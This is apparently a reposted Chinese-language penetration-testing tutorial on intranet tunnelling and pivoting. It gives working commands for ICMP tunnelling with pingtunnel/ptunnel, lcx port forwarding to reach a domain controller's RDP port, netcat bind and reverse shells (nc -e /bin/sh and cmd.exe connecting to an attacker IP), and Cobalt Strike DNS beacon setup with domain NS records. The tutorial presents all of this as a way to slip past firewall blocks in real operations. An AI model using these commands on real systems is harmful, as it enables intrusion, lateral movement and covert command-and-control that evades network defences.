赞
踩
网络层:IPV6隧道、ICMP隧道
传输层:TCP、UDP、端口转发
应用层:SSH、HTTP/S隧道、DNS隧道
1.TCP协议
用瑞士军刀-netcat
执行nc命令:nc<IP> <端口>
2.HTTP协议
用“curl”工具,执行curl<IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
3.ICMP协议
用"ping"命令,执行ping <IP地址/域名>
4.DNS协议
检测DNS连通性常用的命令是"nslookup"和"dig"
nslookup是Windows自带的DNS探测命令
dig是Linux系统自带的DNS探测命令
#内网隧道工具介绍
---网上介绍的大部分都是老牌工具,ptunnel工具几年前就没有更新了,不推荐使用。(而且需要自行编译)
---老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
---推荐pingtunnel,这个是一直在升级更新的一个工具。
---新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
#pingtunnel隧道工具介绍
---pingtunnel是把tcp/udp/sock5流量伪装icmp流量进行转发的工具
---为什么要转换?因为tcp、udp、sock5这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp进行数据传输!
前期要将工具上传至Target2,在webserver上允许程序运行
---现在我要实现请求连接DC(target3)的3389端口:先通过hackerxiaodi连接webserver(target2)的外网接口192.168.76.150,然后借助33网卡连接DC(用target3代替,因为开了3389端口)的33.33
./ptunnel -p 192.168.88.128 -lp 1080 -da 192.168.33.129 -dp 3389 -x xiaodi
---在kali上执行以下命令,将webserver(192.168.88.128)作为跳板,转发目标主机(192.168.33.129)3389请求数据给本地1080端口
---上面命令的意思是kail请求目标服务器192.168.88.128(webserver)
---请求到之后,kail自己监听一下本地的1080
---然后将33.129的3389数据,给到kail自己本地的1080。
---然后下一步就直接利用rdesktop连接本地的1080,实质就是连接33.33。
---查看靶机3389端口和远程访问设置
--新建会话,连接自己本地的1080端口
rdesktop 127.0.0.1:1080
端口转发,环境是域环境
Windows:lcx
---下载:https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ , 提取码:fn9o(github上的没有了)
Linux:portmp
lcx -slave 攻击IP3131 127.0.0.1 3389 //将本地3389给攻击IP的3131
lcx -listen 3131 3333//监听3131转发至3333
在DC上执行以下命令,将本地3389给webserver的6666
lcx -slave 192.168.3.31 6666 127.0.0.1 3389
---在webserver上执行以下命令,监听6666端口(DC给的3389)流量并转发至7777:
lcx -listen 6666 7777
---通过kail去连接域Web的7777端口(连接nat的网卡)
rdesktop 192.168.186.128:7777
---netcat工具是windows和linux都能利用,但是用的时候一定要确保nc是最新版,linux是自带这个命令,老版本有的不支持-e这个选项,很多功能会有限制。
---netcat称为瑞士军刀的原因就是它利用起来非常方便,反弹会话是有很多方式的,可以利用多种协议去实现控制,因为我们在实战过程中会有很多协议被封住被拦截,所以我们要掌握很多种控制的协议,实战中就不会掉链子!
---netcat使用的是TCP协议,所以如果受害主机没有过滤TCP协议,我们就可以尝试使用nc命令在传输层建立隧道连接实现与控制主机的通信。
1.双向连接反弹shell
正向:攻击连接受害
受害:nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻击:nc 192.168.76.132 1234 //主动连接
反向:
受害连接攻击攻击:nc -lvp 1234
受害:nc 攻击主机IP 1234 -e /bin/shnc
攻击主机IP 1234 -e c:\windows\system32\cmd.exe
2.多向连接反弹shell-配合转发
#总结
---优点:方便,体积小,功能多
---缺点:只能反弹cmd,shell等,没有图形化界面,没有提权等功能
---当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀(监听器就是隧道的意思)
---应用层是在实战中经常用到的,之前两个层面会经常被防火墙拦截(网络/传输层),下面用DNS隧道来实现 cs上线。
----登陆cobaltstrike,cs的监听器对应着后门绑定的协议。
---常规是用http上线,dns比http速度要慢。当常见协议监听器被拦截时(比如拦截HTTP或者TCP协议),可以换其他协议上线,其中dns协议上线基本通杀。
---因为dns是域名解析,这个协议一般都不会被拦截,数据通过dns协议给出去,一般也不会被拦截!
1.云主机Teamserver配置端口53启用-udp
2.买一个域名修改解析记录如下:
A记录-cs主机名-cs服务器ip
NS记录-ns1主机名-上个A记录地址
NS记录-ns2主机名-上个A记录地址
>
3.配置DNS监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
4.生成后⻔执行上线后启用命令:
#生成后门执行上线后启用命令(dns需要执行命令才能进行控制):
beacon> checkin(使beacon强制回连一次)
[*] Tasked beacon to checkin
beacon> mode dns-txt(设置数据通道模式,使用dns TXT记录的数据通道)
---执行完mode dns-txt后等待1分钟左右,电脑图标变为蓝色
Becon> shell whoami
---利用webshell在靶机上传cmd或者shell后门,但是靶机对tcp/HTTP等协议有防护拦截,无论是正向还是反向连接都不行
---隧道的作用就是伪装协议,将原本的shell(TCP)加报头进行封装,通过靶机拦截后,再去连接
---1.网络层(ICMP):利用pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具;
---2.传输层(TCP): 传输层转发隧道 Portmap(Linux),lcx(windows),Netcat(windows和Linux通用)使用-检测,利用
---3. 应用层 DNS 隧道配合 CS (集成隧道,可以切换不同的协议)上线
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。